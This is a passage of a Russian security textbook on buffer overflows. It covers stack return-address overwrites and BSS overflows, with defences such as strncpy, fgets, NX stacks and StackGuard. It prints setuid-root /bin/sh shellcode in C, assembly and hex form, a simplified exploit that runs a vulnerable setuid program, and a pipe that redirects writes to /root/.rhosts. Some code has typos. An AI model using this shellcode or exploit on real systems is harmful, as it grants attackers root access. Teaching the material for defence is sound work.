Иванов Разрушаюсчие программные воздействия 2011

Продолжение табл. 7.1

В коде приведенной функции нет проверки на объем данных, записываемых в буфер «buf» (строка 9). В то же время этот буфер имеет ограниченный размер (строка 6); память под этот буфер выделяется в области локальных переменных фрейма функции (рис. 7.4, а). Использование небезопасной функции strcpy() не гарантирует, что буфер не будет переполнен.

221

Рис. 7.4. Переполнение буфера с перезаписью адреса возврата: а – общая структура фрейма; б – содержимое фрейма после копирование

На рис. 7.4, б приведена типичная ситуация переполнения буфера, когда объем данных (в приведенном случае массив из букв «А») оказался настолько велик, что фактически переполнил буфер, расположенный в области локальных переменных, а затем и всю область, выделенную под локальные переменные. Более того, избыточные данные были записаны также в поля базового указателя и адреса возврата, исказив тем самым их значения. Таким образом, при попытке выхода из функции программа завершится с ошибкой, так как адрес возврата искажен.

Пример использования уязвимости

Если пользователь может передавать данные в незащищенный от переполнения буфер, то злоумышленник может подобрать такие данные, которые позволят перезаписать значение адреса возврата, перенаправив его на свой атакующий код.

Рассмотрим простейший пример атаки подобного рода. Следует отметить, что здесь не ставится цель научить создавать работающие атакующие программы. Здесь приводится лишь упрощенная иллюстрация того, что это можно сделать. Злоумышленники, как правило, обладают достаточными знаниями для того, чтобы воспользоваться ошибками, допущенными программистами, в своих целях.

222

Прежде чем приступить к описанию атаки, необходимо ознакомиться с таким понятием, как Shell-код.

Shell-код – это небольшой двоичный исполняемый код, который обычно идентичен нескольким командам на языке высокого уровня. Shell-код может быть использован для выполнения деструктивных действий на атакуемом компьютере и обычно создается следующим образом.

Сначала злоумышленник пишет необходимый ему вредоносный код на языке высокого уровня или на языке ассемблера. После этого он получает двоичное представление этого кода и записывает побайтно это двоичное представление в строку.

Так, простейшая вредоносная программа может состоять из следующей последовательности вызовов функций:

1// Пример вредоносного кода

2setuid(0);

3char *s[]={"/bin/sh",NULL};

4int e=execve(s[0],s,s[1]);

5exit(e);

Как известно, каждый процесс, существующий в операционной системе, запускается (инициируется) каким-либо пользователем и принадлежит этому пользователю. Каждый процесс обладает определенными характеристиками, в том числе, идентификатором пользователя, от имени которого исполняется процесс (UID). Фактически, данный код с помощью вызова функции setuid(0) (строка 2) позволяет сменить UID выполняемого процесса с UID, принадлежащего пользователю, инициировавшему процесс, на UID пользователя, являющегося владельцем исполняемого файла (заметим, что такая переустановка UID должна быть разрешена для атакуемой программы и определяется атрибутами исполняемого файла). Если владельцем исполняемого файла является администратор системы – пользователь «root», обладающий неограниченными полномочиями, его полномочия передаются и процессу. После того, как подобная смена произошла, Shell-код выполняет запуск оболочки /bin/sh, заметим, уже с правами «root», и передает ей управ-

223

ление (строки 3, 4). Если же оболочка /bin/sh не будет запущена, атакующая программа (и атакуемый процесс) завершается.

Данный Shell-код преднамеренно не выполняет никаких деструктивных действий, но сам факт, что этот код позволяет выполнить некоторые действия рядовому пользователю с полномочиями администратора системы, говорит о многом.

Далее, подготовленный Shell-код приводится к виду, необходимому для использования при атаке. Для этого Shell-код записывается на языке ассемблера конкретной компьютерной системы. При создании ассемблерного кода существует ряд тонкостей, которые здесь опущены. Ниже приводится конечный вариант Shell-кода на языке ассемблера x86.

11movb %al,0x7(%esi)

12movl %eax,0xc(%esi)

13movb $0xb,%al

14movl %esi,%ebx

224

И, наконец, последним этапом в создании Shell-кода является запись кода в виде, который будет использоваться в эксплойте – программе, которая, собственно, и будет использовать уязвимость. Для этого полученный код на языке ассемблера записывается в шестнадцатеричном виде. Именно в таком виде код программы хранится в памяти. Именно в таком виде он будет храниться в переполненном буфере. И в этом же виде он будет запущен на исполнение. Для того чтобы хранить это шестнадцатеричное представление вредоносного кода в программе-экслойте, он записывается в виде строки следующим образом:

char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\ x0c\ xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x89\xc3\x31\ xc0\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Теперь, когда Shell-код готов, обратимся непосредственно к эксплойту. Эта программа запускается в системе простым, непривилегированным пользователем, вызывает уязвимую программу, владельцем которой является «root», переполняет в ней буфер, передает управление на Shell-код и, фактически, получает права «root» в системе.

Разберем пример подобной программы-эксплойта. Приведенный пример является весьма упрощенным, но, тем не менее, достаточно полно иллюстрирующим суть действий злоумышленника.

1#include <stdio.h>

2#include <unistd.h>

3#include <stdlib.h>

4#include <string.h>

6#define NOP 0x90

225

8int main(int argc, char **argv)

9{

10char *s=malloc(1024);

11int i=0;

12int off=0xbfffffff

13for (;i<1000;i++);

14s[i]=NOP

15for (i=60; shellcode[i-60]; i++)

16s[i]=shellcode[i-60];

17char *e[] = {"./v1",s,NULL};

18execve(e[0],e,NULL);

19return 0;

20}

Рассмотрим ключевые моменты, на которые стоит обратить внимание в приведенном эксплойте. В этом примере Shell-код располагается в переполняемом буфере. Для этого злоумышленник в эксплойте сначала формирует последовательность данных, которые и переполнят буфер. Для этого выделяемая в строке 10 память сначала заполняется произвольными данными (строки 13, 14), а потом дописывается Shell-кодом (строки 15, 16). После того, как к атаке все готово, вызывается уязвимая программа (строка 18). В рассматриваемом примере уязвимая программа называется «vl». На вход программе передается сформированная последовательность данных для переполнения буфера и выполнения Shell-кода (строка 17).

Кажущаяся простота данного эксплойта обманчива. На самом деле, все намного сложнее, так как на практике существует ряд сложностей, которые приходится преодолевать злоумышленнику.

Способы защиты от уязвимости

Использование безопасных функций. Разобранный выше пример уязвимости показывает, к чему может привести использование небезопасных функций, работающих с буферами.

Существуют безопасные функции, в которых имеются необходимые проверки, но не все программисты о них знают и еще меньшее число ими пользуется. Выше упоминались наиболее часто ис-

226

пользуемые небезопасные функции. Следует отметить, что для них существуют и безопасные аналоги, которые рекомендуется использовать. Среди них можно упомянуть функции из стандартной библиотеки «С» обработки строк strncpy(), strncat() и другие.

Пример использования безопасных функций приводится ниже. Неисполняемый стек. Современные процессоры поддерживают флаг NX, который запрещает исполнение кода в сегменте, на котором установлен данный флаг. Соответственно, установив этот флаг на сегмент стека, можно запретить выполнение в нем shell-кода. Существуют патчи для ядра, позволяющие включить использование этого флага. Но при этом теряется обратная совместимость с программным обеспечением, написанным ранее и

исполняющим код в стеке.

Проверки выхода за границы. Существует патч для компилятора, который вставляет в код проверки выхода за границы при всех обращениях к массивам и указателям. Недостатком такого решения является падение производительности (в несколько десятков раз).

Проверка целостности. Основана на размещении перед адресом возврата псевдослучайного кода проверки целостности (StackShield) (http://www.angelfire.com/sk/stackshield/) или сохранении адреса воз-

врата в альтернативном стеке и использовании технологии сторожевых байтов (StackGuard). При выходе из функции проводится проверка адреса возврата, и при обнаружении его искажения – аварийное завершение. Достоинство этого метода в том, что он не сильно сказывается на скорости выполнения программы. StackShield и StackGuard реализованы в виде патчей к компилятору «gcc».

Пример безопасного кода

Рассмотрим примеры безопасного кода, которые позволяют избежать атаки, связанной с переполнением буфера.

Прежде всего, обязательным является наличие проверок на длину данных, вводимых пользователем. Также просто необходимо использовать функции, которые осуществляют запись в буфер только такого объема данных, на который этот буфер расчитан.

227

// Пример 1

1 #include <string.h>

2

3int main(int argc, char **argv)

4{

5char buf[128];

6if (argc!=2)

7return 1;

8strncpy(buf,argv[1],128);

9buf[127] = '\0';

10return 0;

11}

// Пример 2

1#include <string.h>

2#include <malloc.h>

4int main(int argc, char **argv)

5{

6if (argc!=2)

7return 1;

8char *buf = (char *)malloc(strlen(argv[1])+1);

9strcpy(buf,argv[1]);

10free(buf);

11return 0;

12}

Встроке 8 первого примера используется функция strncpy(), в которой явно указывается, что из переданной в программу строки (argv[1]) только первые 128 символов могут быть помещены в буфер, так как именно такой объем буфера был выделен в строке 5. При этом, учитывая специфику выполнения функции strncpy(), в конец буфера принудительно записывается завершающий строку нуль байт (строка 9) на случай, если строка в argv[1] имеет больший размер.

Во втором примере динамически выделяется буфер размером, равным размеру введенных пользователем данных. Делается это

спомощью функции malloc() (строка 5). Таким образом, переполнение буфера исключается.

228

Переполнение произвольного буфера

Суть уязвимости

В данном случае атаке подвергаются данные, размещаемые непосредственно после буфера. Это могут быть какие-то важные, с точки зрения функционирования программы, данные, например имя файла, данные о пользователе или указатели на функции. Сам буфер может находиться в любой области – сегменте данных (data или BSS), области локальных данных на стеке или в куче. Необходимым условием возникновения такой уязвимости является размещение важных данных пользователя непосредственно после буфера.

Пример уязвимого кода

Рассмотрим пример уязвимого кода.

1#include <stdio.h>

2#include <string.h>

3char buf[20];

4char tmpfile[20];

5int main(int argc, char **argv)

6{

7FILE *tmpfd;

8strcpy(tmpfile,"/tmp/vulprog.tmp");

9gets(buf);

10tmpfd = fopen(tmpfile, "w");

11if (tmpfd == NULL) {

12fprintf(stderr, "error opening %s \n", tmpfile);

13exit(1);

14}

15fputs(buf, tmpfd);

16fclose(tmpfd);

17}

Вприведенном примере используются два внешних буфера («buf» и «tmpfile») размером 20 байтов каждый, которые располагаются в сегменте неинициализированных данных BSS (строки 3 и

229

4). Программа вводит из входного потока в буфер «buf» некоторый текст (строка 9) и записывает его во временный файл (строка 15), имя которого (/tmp/vulprog.tmp) находится в буфере «tmpfile» (строка 8).

В приведенном коде нет проверки на объем данных, вводимых из входного потока (строка 9). В результате они могут переполнить буфер «buf» и исказить имя файла (содержимое буфера «tmpfile»), с которым работает программа.

Пример использования уязвимости

Всреде Unix программу, ожидающую ввода данных из входного потока, можно вызвать с помощью следующего конвейера,

вкотором на стандартный ввод атакуемой программы передается вывод, например, команды «echo»:

echo 'атакующий текст' | vulprog

Вэтом примере атакующий текст содержит текстовую строку длиной 20 символов, которая должна быть записана в файл, а затем — имя некоторого системного файла, содержимое которого нужно модифицировать, например /root/.rhosts.

Данная программа должна выполняться с правами администратора системы, чтобы имеющаяся в ней уязвимость проявила себя.

После переполняемого буфера могут находиться данные разных типов и с разным содержимым; в зависимости от этого будет меняться и атакующая программа, и конкретный способ использования уязвимости.

Способ защиты от уязвимости

Поскольку причина уязвимости кроется в особенностях выполнения функции gets(), следует использовать безопасную функцию, которая проверяет размер вводимого текста, например функцию чтения данных из файла с прототипом:

char *fgets(char * buf, int size, FILE * fd),

где buf – буфер, в который следует ввести данные, size – размер буфера, fd – дескриптор открытого файла (для стандартного входного потока – это stdin).

230